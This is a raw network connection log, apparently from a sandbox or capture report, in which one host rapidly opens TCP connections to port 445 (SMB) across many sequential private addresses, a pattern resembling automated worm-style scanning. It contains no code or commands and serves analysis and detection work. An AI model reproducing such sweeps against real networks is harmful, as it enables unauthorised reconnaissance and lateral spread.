Jul 6, 2024 14:11:25.800657034 CEST	50453	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:25.803677082 CEST	50454	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:25.803749084 CEST	50455	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:25.803946018 CEST	50456	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:25.808557034 CEST	445	50454	192.168.1.27	192.168.2.6
Jul 6, 2024 14:11:25.808568001 CEST	445	50455	192.168.1.28	192.168.2.6
Jul 6, 2024 14:11:25.808640957 CEST	50454	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:25.808670998 CEST	50454	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:25.808862925 CEST	50455	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:25.808862925 CEST	50455	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:25.809427023 CEST	445	50456	192.168.1.156	192.168.2.6
Jul 6, 2024 14:11:25.809479952 CEST	50456	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:25.813702106 CEST	445	50454	192.168.1.27	192.168.2.6
Jul 6, 2024 14:11:25.814219952 CEST	445	50455	192.168.1.28	192.168.2.6
Jul 6, 2024 14:11:25.814878941 CEST	445	50455	192.168.1.28	192.168.2.6
Jul 6, 2024 14:11:25.815399885 CEST	445	50456	192.168.1.156	192.168.2.6
Jul 6, 2024 14:11:25.815448046 CEST	50456	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:25.819221973 CEST	50456	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:25.819580078 CEST	50457	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:25.824278116 CEST	445	50456	192.168.1.156	192.168.2.6
Jul 6, 2024 14:11:25.825009108 CEST	445	50457	192.168.1.157	192.168.2.6
Jul 6, 2024 14:11:25.826219082 CEST	50457	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:25.826219082 CEST	50457	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:25.831219912 CEST	445	50457	192.168.1.157	192.168.2.6
Jul 6, 2024 14:11:25.832020998 CEST	50457	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:25.838279963 CEST	50458	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:25.838790894 CEST	50459	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:25.843216896 CEST	445	50458	192.168.1.30	192.168.2.6
Jul 6, 2024 14:11:25.843626976 CEST	445	50459	192.168.1.158	192.168.2.6
Jul 6, 2024 14:11:25.844203949 CEST	50458	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:25.844203949 CEST	50458	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:25.845839024 CEST	50459	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:25.849457979 CEST	445	50458	192.168.1.30	192.168.2.6
Jul 6, 2024 14:11:25.849468946 CEST	445	50458	192.168.1.30	192.168.2.6
Jul 6, 2024 14:11:25.850445986 CEST	50459	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:25.850622892 CEST	50460	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:25.850622892 CEST	50461	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:25.851605892 CEST	445	50459	192.168.1.158	192.168.2.6
Jul 6, 2024 14:11:25.851931095 CEST	50462	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:25.851933956 CEST	50459	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:25.853061914 CEST	50463	445	192.168.2.6	192.168.0.1
Jul 6, 2024 14:11:25.855330944 CEST	445	50459	192.168.1.158	192.168.2.6
Jul 6, 2024 14:11:25.859153032 CEST	445	50460	192.168.1.31	192.168.2.6
Jul 6, 2024 14:11:25.859241009 CEST	445	50461	192.168.1.29	192.168.2.6
Jul 6, 2024 14:11:25.859275103 CEST	50460	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:25.859275103 CEST	50460	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:25.859282970 CEST	445	50462	192.168.1.159	192.168.2.6
Jul 6, 2024 14:11:25.859307051 CEST	50461	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:25.859311104 CEST	445	50463	192.168.0.1	192.168.2.6
Jul 6, 2024 14:11:25.859324932 CEST	50461	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:25.859385967 CEST	50463	445	192.168.2.6	192.168.0.1
Jul 6, 2024 14:11:25.859401941 CEST	50462	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:25.859452009 CEST	50463	445	192.168.2.6	192.168.0.1
Jul 6, 2024 14:11:25.859584093 CEST	50462	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:25.865737915 CEST	445	50460	192.168.1.31	192.168.2.6
Jul 6, 2024 14:11:25.865746975 CEST	445	50461	192.168.1.29	192.168.2.6
Jul 6, 2024 14:11:25.865772009 CEST	445	50460	192.168.1.31	192.168.2.6
Jul 6, 2024 14:11:25.868619919 CEST	50464	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:25.868619919 CEST	50465	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:25.869244099 CEST	445	50461	192.168.1.29	192.168.2.6
Jul 6, 2024 14:11:25.869252920 CEST	445	50463	192.168.0.1	192.168.2.6
Jul 6, 2024 14:11:25.869261026 CEST	445	50462	192.168.1.159	192.168.2.6
Jul 6, 2024 14:11:25.869333029 CEST	50462	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:25.870632887 CEST	50463	445	192.168.2.6	192.168.0.1
Jul 6, 2024 14:11:25.882709026 CEST	50466	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:25.883100986 CEST	50467	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:25.883258104 CEST	50468	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:25.888740063 CEST	445	50464	192.168.1.160	192.168.2.6
Jul 6, 2024 14:11:25.888751030 CEST	445	50465	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:25.888778925 CEST	445	50466	192.168.1.32	192.168.2.6
Jul 6, 2024 14:11:25.888812065 CEST	445	50467	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:25.888830900 CEST	445	50468	192.168.1.161	192.168.2.6
Jul 6, 2024 14:11:25.888834000 CEST	50464	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:25.888834000 CEST	50465	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:25.888869047 CEST	50466	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:25.888926983 CEST	50467	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:25.888927937 CEST	50468	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:25.888932943 CEST	50466	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:25.889919996 CEST	50465	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:25.889920950 CEST	50464	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:25.889920950 CEST	50467	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:25.894223928 CEST	445	50466	192.168.1.32	192.168.2.6
Jul 6, 2024 14:11:25.894464016 CEST	445	50464	192.168.1.160	192.168.2.6
Jul 6, 2024 14:11:25.894809961 CEST	445	50466	192.168.1.32	192.168.2.6
Jul 6, 2024 14:11:25.894819975 CEST	445	50465	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:25.895646095 CEST	445	50464	192.168.1.160	192.168.2.6
Jul 6, 2024 14:11:25.896100044 CEST	445	50465	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:25.896533012 CEST	445	50467	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:25.896795034 CEST	50464	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:25.896795034 CEST	50465	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:25.896795034 CEST	50467	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:25.896998882 CEST	445	50468	192.168.1.161	192.168.2.6
Jul 6, 2024 14:11:25.898175955 CEST	50468	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:25.898175955 CEST	50468	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:25.898631096 CEST	50469	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:25.898706913 CEST	50470	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:25.905829906 CEST	445	50469	192.168.1.162	192.168.2.6
Jul 6, 2024 14:11:25.905971050 CEST	445	50470	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:25.906090975 CEST	50470	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:25.906339884 CEST	445	50468	192.168.1.161	192.168.2.6
Jul 6, 2024 14:11:25.907263994 CEST	50469	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:25.911741018 CEST	445	50470	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:25.912228107 CEST	50470	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:25.912981987 CEST	50470	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:25.913532019 CEST	445	50469	192.168.1.162	192.168.2.6
Jul 6, 2024 14:11:25.913717985 CEST	50469	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:25.913717985 CEST	50469	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:25.914207935 CEST	50471	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:25.915261030 CEST	50472	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:25.918128967 CEST	445	50470	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:25.918809891 CEST	445	50442	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:25.918905020 CEST	445	50469	192.168.1.162	192.168.2.6
Jul 6, 2024 14:11:25.919104099 CEST	445	50471	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:25.919356108 CEST	50471	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:25.919356108 CEST	50471	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:25.921989918 CEST	50442	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:25.922333002 CEST	445	50472	192.168.1.163	192.168.2.6
Jul 6, 2024 14:11:25.922391891 CEST	50472	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:25.922473907 CEST	50472	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:25.924352884 CEST	445	50471	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:25.927417994 CEST	445	50472	192.168.1.163	192.168.2.6
Jul 6, 2024 14:11:25.927465916 CEST	50472	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:25.927840948 CEST	445	50472	192.168.1.163	192.168.2.6
Jul 6, 2024 14:11:25.928989887 CEST	50471	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:25.930279016 CEST	50474	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:25.931689024 CEST	50473	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:25.934251070 CEST	50475	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:25.937186956 CEST	445	50473	192.168.1.33	192.168.2.6
Jul 6, 2024 14:11:25.937843084 CEST	50473	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:25.937843084 CEST	50473	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:25.944371939 CEST	50476	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:25.944468021 CEST	50477	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:25.944556952 CEST	50478	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:25.945576906 CEST	50479	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:25.946337938 CEST	50480	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:25.947549105 CEST	445	50474	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:25.947560072 CEST	445	50475	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:25.947633982 CEST	445	50473	192.168.1.33	192.168.2.6
Jul 6, 2024 14:11:25.949771881 CEST	50474	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:25.949771881 CEST	50475	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:25.949773073 CEST	50474	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:25.956118107 CEST	50475	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:25.960208893 CEST	50481	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:25.961213112 CEST	50482	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:25.961375952 CEST	50483	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:25.975641966 CEST	50484	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:25.975742102 CEST	50485	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:25.976809025 CEST	50486	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:25.977658987 CEST	50487	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:25.988590956 CEST	445	50473	192.168.1.33	192.168.2.6
Jul 6, 2024 14:11:25.988943100 CEST	445	50476	192.168.1.36	192.168.2.6
Jul 6, 2024 14:11:25.989011049 CEST	50476	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:25.989054918 CEST	50476	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:25.989200115 CEST	445	50477	192.168.1.35	192.168.2.6
Jul 6, 2024 14:11:25.989209890 CEST	445	50478	192.168.1.34	192.168.2.6
Jul 6, 2024 14:11:25.989219904 CEST	445	50479	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:25.989229918 CEST	445	50480	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:25.989269018 CEST	50477	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:25.989303112 CEST	50478	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:25.989305019 CEST	50479	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:25.989352942 CEST	50477	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:25.989353895 CEST	50478	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:25.989358902 CEST	50480	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:25.989483118 CEST	50480	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:25.989980936 CEST	445	50481	192.168.1.37	192.168.2.6
Jul 6, 2024 14:11:25.989990950 CEST	445	50482	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:25.990000963 CEST	445	50483	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:25.990040064 CEST	50481	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:25.990358114 CEST	50482	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:25.990359068 CEST	50482	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:25.990375042 CEST	445	50484	192.168.1.39	192.168.2.6
Jul 6, 2024 14:11:25.990382910 CEST	445	50485	192.168.1.38	192.168.2.6
Jul 6, 2024 14:11:25.990391016 CEST	445	50486	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:25.990398884 CEST	445	50487	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:25.991065025 CEST	50484	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:25.991065025 CEST	50484	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:25.991065025 CEST	50485	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:25.991065025 CEST	50485	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:25.991091967 CEST	445	50475	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:25.991110086 CEST	445	50474	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:25.994110107 CEST	445	50476	192.168.1.36	192.168.2.6
Jul 6, 2024 14:11:25.994287014 CEST	50481	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:25.994293928 CEST	445	50477	192.168.1.35	192.168.2.6
Jul 6, 2024 14:11:25.994302988 CEST	445	50478	192.168.1.34	192.168.2.6
Jul 6, 2024 14:11:25.994576931 CEST	50479	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:25.994838953 CEST	50487	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:25.994838953 CEST	50487	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:25.994838953 CEST	50488	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:25.994838953 CEST	50489	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:25.995527983 CEST	50486	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:25.995528936 CEST	50486	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:25.996609926 CEST	445	50474	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:25.997147083 CEST	445	50475	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:25.997713089 CEST	445	50484	192.168.1.39	192.168.2.6
Jul 6, 2024 14:11:26.000303984 CEST	445	50476	192.168.1.36	192.168.2.6
Jul 6, 2024 14:11:26.000432014 CEST	445	50480	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:26.000441074 CEST	445	50477	192.168.1.35	192.168.2.6
Jul 6, 2024 14:11:26.000448942 CEST	445	50478	192.168.1.34	192.168.2.6
Jul 6, 2024 14:11:26.000458002 CEST	445	50479	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:26.000464916 CEST	445	50480	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:26.000472069 CEST	445	50481	192.168.1.37	192.168.2.6
Jul 6, 2024 14:11:26.000510931 CEST	50483	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:26.000510931 CEST	50483	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:26.000545025 CEST	445	50484	192.168.1.39	192.168.2.6
Jul 6, 2024 14:11:26.000572920 CEST	445	50485	192.168.1.38	192.168.2.6
Jul 6, 2024 14:11:26.000581026 CEST	445	50485	192.168.1.38	192.168.2.6
Jul 6, 2024 14:11:26.006258965 CEST	50481	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:26.008970976 CEST	50474	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:26.008970976 CEST	50475	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:26.008970976 CEST	50479	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:26.012571096 CEST	50480	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:26.015146017 CEST	445	50481	192.168.1.37	192.168.2.6
Jul 6, 2024 14:11:26.015209913 CEST	50490	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:26.015211105 CEST	50491	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:26.022433043 CEST	50492	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:26.023451090 CEST	445	50479	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:26.023494005 CEST	445	50488	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:26.023502111 CEST	445	50489	192.168.1.168	192.168.2.6
Jul 6, 2024 14:11:26.023557901 CEST	50488	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:26.023581982 CEST	50493	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:26.023660898 CEST	50489	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:26.023660898 CEST	50489	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:26.023727894 CEST	50494	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:26.025245905 CEST	445	50487	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:26.027127981 CEST	445	50481	192.168.1.37	192.168.2.6
Jul 6, 2024 14:11:26.027179003 CEST	445	50490	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:26.027187109 CEST	445	50491	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:26.029423952 CEST	445	50492	192.168.1.40	192.168.2.6
Jul 6, 2024 14:11:26.029540062 CEST	445	50493	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:26.029551029 CEST	445	50494	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:26.029593945 CEST	50494	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:26.029779911 CEST	50494	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:26.031873941 CEST	50493	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:26.031873941 CEST	50493	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:26.034421921 CEST	50490	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:26.034421921 CEST	50491	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:26.034421921 CEST	50490	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:26.034804106 CEST	445	50486	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:26.034826994 CEST	445	50482	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:26.034845114 CEST	445	50483	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:26.034852982 CEST	445	50489	192.168.1.168	192.168.2.6
Jul 6, 2024 14:11:26.036314011 CEST	50492	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:26.036314011 CEST	50492	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:26.038166046 CEST	50495	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:26.039380074 CEST	50498	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:26.039465904 CEST	50488	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:26.040020943 CEST	50499	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:26.040792942 CEST	50491	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:26.040792942 CEST	50496	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:26.040792942 CEST	50497	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:26.042992115 CEST	445	50492	192.168.1.40	192.168.2.6
Jul 6, 2024 14:11:26.043910980 CEST	445	50494	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:26.043929100 CEST	445	50495	192.168.1.42	192.168.2.6
Jul 6, 2024 14:11:26.044015884 CEST	50495	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:26.044017076 CEST	50495	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:26.047517061 CEST	445	50498	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:26.047554016 CEST	445	50499	192.168.1.171	192.168.2.6
Jul 6, 2024 14:11:26.047573090 CEST	50498	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:26.047584057 CEST	445	50488	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:26.047595978 CEST	445	50493	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:26.047596931 CEST	50499	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:26.047612906 CEST	445	50490	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:26.047665119 CEST	50498	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:26.048285961 CEST	445	50496	192.168.1.41	192.168.2.6
Jul 6, 2024 14:11:26.048295975 CEST	445	50497	192.168.1.43	192.168.2.6
Jul 6, 2024 14:11:26.049571991 CEST	50496	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:26.049572945 CEST	50496	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:26.049572945 CEST	50497	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:26.049572945 CEST	50497	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:26.050987959 CEST	445	50487	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:26.051026106 CEST	50487	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:26.051213980 CEST	445	50482	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:26.051222086 CEST	445	50483	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:26.051244974 CEST	445	50486	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:26.051251888 CEST	50482	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:26.051274061 CEST	445	50495	192.168.1.42	192.168.2.6
Jul 6, 2024 14:11:26.051295996 CEST	50486	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:26.051538944 CEST	445	50488	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:26.051583052 CEST	50488	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:26.051604033 CEST	50483	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:26.053009987 CEST	445	50489	192.168.1.168	192.168.2.6
Jul 6, 2024 14:11:26.053054094 CEST	50489	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:26.053123951 CEST	445	50494	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:26.053163052 CEST	50494	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:26.054084063 CEST	50499	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:26.054167032 CEST	445	50490	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:26.054174900 CEST	445	50491	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:26.055381060 CEST	445	50492	192.168.1.40	192.168.2.6
Jul 6, 2024 14:11:26.055407047 CEST	445	50498	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:26.055440903 CEST	445	50496	192.168.1.41	192.168.2.6
Jul 6, 2024 14:11:26.055458069 CEST	445	50497	192.168.1.43	192.168.2.6
Jul 6, 2024 14:11:26.055481911 CEST	445	50493	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:26.055530071 CEST	445	50495	192.168.1.42	192.168.2.6
Jul 6, 2024 14:11:26.056096077 CEST	445	50498	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:26.056103945 CEST	445	50499	192.168.1.171	192.168.2.6
Jul 6, 2024 14:11:26.056282997 CEST	445	50496	192.168.1.41	192.168.2.6
Jul 6, 2024 14:11:26.056606054 CEST	445	50497	192.168.1.43	192.168.2.6
Jul 6, 2024 14:11:26.057352066 CEST	50498	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:26.059108973 CEST	50493	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:26.059262991 CEST	445	50499	192.168.1.171	192.168.2.6
Jul 6, 2024 14:11:26.059833050 CEST	50490	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:26.059833050 CEST	50491	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:26.062633038 CEST	50499	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:26.067015886 CEST	50500	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:26.067015886 CEST	50501	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:26.069446087 CEST	50502	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:26.069561005 CEST	50503	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:26.071609020 CEST	50504	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:26.071609020 CEST	50505	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:26.073044062 CEST	445	50500	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:26.073054075 CEST	445	50501	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:26.074548960 CEST	445	50502	192.168.1.44	192.168.2.6
Jul 6, 2024 14:11:26.074614048 CEST	445	50503	192.168.1.45	192.168.2.6
Jul 6, 2024 14:11:26.074743032 CEST	50502	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:26.074743032 CEST	50502	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:26.074743032 CEST	50503	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:26.074743032 CEST	50503	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:26.077342033 CEST	445	50504	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:26.077362061 CEST	445	50505	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:26.079550982 CEST	50504	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:26.079550982 CEST	50505	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:26.079550982 CEST	50504	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:26.080032110 CEST	50500	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:26.080032110 CEST	50501	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:26.080032110 CEST	50501	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:26.080039024 CEST	445	50502	192.168.1.44	192.168.2.6
Jul 6, 2024 14:11:26.080048084 CEST	445	50503	192.168.1.45	192.168.2.6
Jul 6, 2024 14:11:26.080056906 CEST	445	50502	192.168.1.44	192.168.2.6
Jul 6, 2024 14:11:26.080866098 CEST	445	50503	192.168.1.45	192.168.2.6
Jul 6, 2024 14:11:26.086756945 CEST	445	50504	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:26.086776972 CEST	50505	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:26.087414026 CEST	445	50505	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:26.087466955 CEST	50505	445	192.168.2.6	192.168.0.15
